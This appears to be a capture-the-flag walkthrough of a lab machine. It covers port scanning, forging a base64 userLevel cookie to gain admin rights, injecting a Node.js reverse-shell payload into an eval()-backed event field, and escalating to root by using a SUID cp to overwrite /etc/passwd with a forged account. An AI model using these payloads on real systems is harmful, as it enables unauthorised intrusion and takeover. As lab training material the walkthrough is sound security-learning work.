Summary

In this walkthrough, we discover an application running NodeJS. We'll gain a foothold by registering a user and then elevate our privileges by changing a cookie value. We'll then inject code in the application to achieve RCE. After careful enumeration, we discover the SUID bit set on a system tool and use that to gain root-level access.

Enumeration

Nmap

We'll start off with a basic nmap scan.

kali@kali:~$ sudo nmap -sV -sC 192.168.120.69
Starting Nmap 7.80 ( <https://nmap.org> ) at 2020-10-08 09:56 -03
Nmap scan report for 192.168.120.69
Host is up (0.18s latency).
Not shown: 996 filtered ports
PORT     STATE SERVICE VERSION
21/tcp   open  ftp     vsftpd 3.0.3
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
|_Can't get directory listing: TIMEOUT
| ftp-syst:
|   STAT:
| FTP server status:
|      Connected to 192.168.118.8
|      Logged in as ftp
|      TYPE: ASCII
|      No session bandwidth limit
|      Session timeout in seconds is 300
|      Control connection is plain text
|      Data connections will be plain text
|      At session startup, client count was 1
|      vsFTPd 3.0.3 - secure, fast, stable
|_End of status
22/tcp   open  ssh     OpenSSH 8.3 (protocol 2.0)
| ssh-hostkey:
|   3072 9d:3f:eb:1b:aa:9c:1e:b1:30:9b:23:53:4b:cf:59:75 (RSA)
|   256 cd:dc:05:e6:e3:bb:12:33:f7:09:74:50:12:8a:85:64 (ECDSA)
|_  256 a0:90:1f:50:78:b3:9e:41:2a:7f:5c:6f:4d:0e:a1:fa (ED25519)
80/tcp   open  http    Apache httpd 2.4.46 ((Fedora))
|_http-generator: Drupal 9 (<https://www.drupal.org>)
| http-robots.txt: 22 disallowed entries (15 shown)
| /core/ /profiles/ /README.txt /web.config /admin/
| /comment/reply/ /filter/tips /node/add/ /search/ /user/register/
| /user/password/ /user/login/ /user/logout/ /index.php/admin/
|_/index.php/comment/reply/
|_http-server-header: Apache/2.4.46 (Fedora)
|_http-title: Home | Hacking Articles
3000/tcp open  http    Node.js (Express middleware)
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
Service Info: OS: Unix

Service detection performed. Please report any incorrect results at <https://nmap.org/submit/> .
Nmap done: 1 IP address (1 host up) scanned in 58.79 seconds

Curl

An interesting application is running on port 3000:

kali@kali:~$ curl <http://192.168.120.69:3000/> | html2text

Index |Login | Register_an_account |See_All_Events
****** Events and Issues Reporting ******
[robot.jpg]
*** Our Incidents Management Software enables customer support staff to
receive, process, and respond to incident or service requests. Its a Multi
channel ticket management software that allows you to centralise all your
customer conversations via E-mail, Web portal, Twitter, Facebook, Phone and
Chat.

This platform is Certified ITIL/ITSM Compliant with features like CMDB, Asset
Management, Incident Management, Problem Management, Knowledgeable
Management,Service Catalog, Change Management and Release Management. ***

Exploitation

Weak authentication

This seems to be an event system that allows us to message an administrator. We can easily create a new user via the Register link. Once registered and logged in, we are able to add a new log event under the New Event Log tab. However, when we try to submit the new event, the system prompts that "Only the admin can update the Event logs".

One interesting thing to notice is the presence of a userLevel cookie with the value ZGVmYXVsdA%3D%3D. Let's try to base64-decode the string:

kali@kali:~$ echo "ZGVmYXVsdA==" | base64 --decode
default

This decodes as default, which may refer to our access level. Let's try to update the userLevel cookie with a new value:

kali@kali:~$ echo -n admin | base64
YWRtaW4=

With this modification in place, we can now send messages.

Code injection & RCE

The next interesting find is the add technical details/code if required Event Message. Considering that this is a NodeJS application, it might be possible to inject Javascript Code.

To test this, we'll send a simple 1+1 operation as an "Event Message".

Send event

After reviewing the resulting stored message, we confirm that it actually saved 2.

Event result

This indicates that the string is not simply being saved. Instead, it is being evaluated by something like the Node eval() function. Let's try something more complicated.

(function(){
   return 2+2;
})();

In this case the result is 4, and we were even able to inject the function() code. This means we should be able to use NodeJS functions to create a reverse shell.

(function(){
    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("/bin/sh", []);
    var client = new net.Socket();
    client.connect(21, "192.168.118.8", function(){
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /a/;
})();

This grants us code execution.

kali@kali:~$ nc -lvnp 21
listening on [any] 21 ...
connect to [192.168.118.8] from (UNKNOWN) [192.168.120.69] 43930
python3 -c 'import pty; pty.spawn("/bin/bash")'
[benjamin@dibble ~]$

Escalation

SUID

In search of escalation options, we discover that /usr/bin/cp is SUID-enabled.

[benjamin@dibble ~]$ find / -perm -u=s -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
/usr/bin/gpasswd
/usr/bin/fusermount
/usr/bin/cp
/usr/bin/umount
/usr/bin/sudo
/usr/bin/chage
/usr/bin/mount
/usr/bin/passwd
/usr/bin/su
/usr/bin/newgrp
/usr/sbin/grub2-set-bootflag
/usr/sbin/unix_chkpwd
/usr/sbin/pam_timestamp_check

Armed with this, escalation should be simple. First, let's create a copy of the /etc/passwd file.

[benjamin@dibble ~]$ cat /etc/passwd > passwd.orig

Next, we'll generate a passwd compatible password (testing).

[benjamin@dibble ~]$ openssl passwd testing
KWi2XW05LmkMg

We'll create a root2 user by adding the following line to our copy of the passwd file:

[benjamin@dibble ~]$ echo "root2:KWi2XW05LmkMg:0:0:root:/root:/bin/bash" >> passwd.orig

Since the cp utility is SUID-enabled, we'll be able to replace the original /etc/passwd file with our "forged" copy command.

[benjamin@dibble ~]$ cp passwd.orig /etc/passwd

With the file in place, we should be able to su as our new root-level user.

[benjamin@dibble ~]$ su root2
Password: testing

[root@dibble benjamin]# whoami
root